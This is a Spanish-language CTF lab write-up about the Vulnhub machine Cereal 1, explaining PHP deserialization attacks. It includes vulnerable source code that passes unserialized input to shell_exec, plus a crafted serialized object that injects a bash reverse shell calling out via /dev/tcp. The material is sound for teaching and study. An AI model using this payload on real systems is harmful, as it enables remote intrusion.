Notas de Luis

Ataques de deserialización

Un ataque de deserialización es una vulnerabilidad de seguridad que ocurre cuando una aplicación deserializa (convierte en objeto) datos provenientes de una fuente externa, como una solicitud de red o un archivo. Esta vulnerabilidad puede ser explotada por un atacante malintencionado para ejecutar código malicioso o manipular datos en la aplicación objetivo.

Para esta vulnerabilidad vamos a practicar con la máquina cereal 1 de vulnhub:

Hacemos un escaneo con nmap, donde nos fijaremos en lo que corre por la web:

Esta es la web:

Hacemos fuzzing, donde tenemos el directorio /blog y /admin:

Vemos que la web en el directorio /blog no se ve correctamente:

Y esto es debido a que es posible que se esté aplicando virtual hosting, por lo que miramos el código fuente y vemos que los recursos los está intentando cargar de un cereal.cft:

Por lo que tenemos que añadirlo al /etc/hosts:

Y ahora ya se ve bien:

Ahora si miramos el otro puerto 44441 que también corría un servicio HTTP, vemos que nos sale lo siguiente:

Y dentro de este puerto vamos a buscar subdominios y añadimos el que nos encontró:

gobuster vhost -u http://cereal.ctf:44441/ -w subdomains-top1million-5000.txt

Y accedemos a este panel:

Podemos probar si se ejecuta de verdad un ping poniéndonos en escucha con tcpdump con este parámetro y vemos que hay conectividad:

tcpdump -i eth0 -n

Vamos a volver a ejecutar un ping pero interceptamos la petición con burpsuite:

Y tenemos un objeto con información:

Pero esa data viene url codificada, para decodificarla podemos presionar control + shift + u:

Ahora en este punto, hay un directorio dentro de la máquina donde podemos ver cómo se efectúa esta deserialización por detrás, por tanto para encontrar esta ubicación podemos usar gobuster nuevamente pero con un diccionario mucho más grande:

Y esta es la ubicación donde no tenemos permisos:

Pero ahora podemos hacer búsqueda por extensiones de archivos, donde tras ir probando extensiones, nos encontramos el /index.php.bak:

Y nos encontramos con esto:

Y si miramos el código fuente, podemos acceder a cómo se tramita la deserialización por detrás:

<?php
 
class pingTest {
	public $ipAddress = "127.0.0.1";
	public $isValid = False;
	public $output = "";
 
	function validate() {
		if (!$this->isValid) {
			if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
			{
				$this->isValid = True;
			}
		}
		$this->ping();
 
	}
 
	public function ping()
        {
		if ($this->isValid) {
			$this->output = shell_exec("ping -c 3 $this->ipAddress");	
		}
        }
 
}
 
if (isset($_POST['obj'])) {
	$pingTest = unserialize(urldecode($_POST['obj']));
} else {
	$pingTest = new pingTest;
}
 
$pingTest->validate();
 
echo "<html>
<head>
<script src=\"http://secure.cereal.ctf:44441/php.js\"></script>
<script>
function submit_form() {
		var object = serialize({ipAddress: document.forms[\"ipform\"].ip.value});
		object = object.substr(object.indexOf(\"{\"),object.length);
		object = \"O:8:\\\"pingTest\\\":1:\" + object;
		document.forms[\"ipform\"].obj.value = object;
		document.getElementById('ipform').submit();
}
</script>
<link rel='stylesheet' href='http://secure.cereal.ctf:44441/style.css' media='all' />
<title>Ping Test</title>
</head>
<body>
<div class=\"form-body\">
<div class=\"row\">
    <div class=\"form-holder\">
	<div class=\"form-content\">
	    <div class=\"form-items\">
		<h3>Ping Test</h3>
 
		<form method=\"POST\" action=\"/\" id=\"ipform\" onsubmit=\"submit_form();\" class=\"requires-validation\" novalidate>
 
		    <div class=\"col-md-12\">
			<input name=\"obj\" type=\"hidden\" value=\"\">
		       <input class=\"form-control\" type=\"text\" name=\"ip\" placeholder=\"IP Address\" required>
		    </div>
		<br />
		    <div class=\"form-button mt-3\">
			<input type=\"submit\" value=\"Ping!\">
			<br /><br /><textarea>$pingTest->output</textarea>
		    </div>
		</form>
	    </div>
	</div>
    </div>
</div>
</body>
</html>";
 
?>

Y aquí en esta parte podemos ver cómo se valida que el input sea una IP y no se pueda colar ningún otro comando; pero nuestro objetivo es poder insertar un comando dentro de la variable ipAddress:

Por tanto vamos a crear un nuevo fichero con la data del principio manipulada para después serializarlo y colarlo en burp suite para ejecutar un comando de forma remota:

<?php
 
class pingTest {
        public $ipAddress = "; bash -c 'bash -i >& /dev/tcp/192.168.0.30/443 0>&1'";
        public $isValid = True;
        public $output = "";
}
 
echo urlencode(serialize(new pingTest));

Si lo ejecutamos, gracias al echo del final, tendremos el texto deserializado:

Por tanto volvemos a la ventana del principio e interceptamos nuevamente la petición:

Si pegamos en la última línea el código serializado de antes con el código malicioso, lograremos ejecutar un comando de forma remota, y por tanto obtener una reverse shell:

Si lo ejecutamos, obtenemos una reverse shell:

computing/hacking/generico/ataques_de_deserializacion.txt · Última modificación: por 127.0.0.1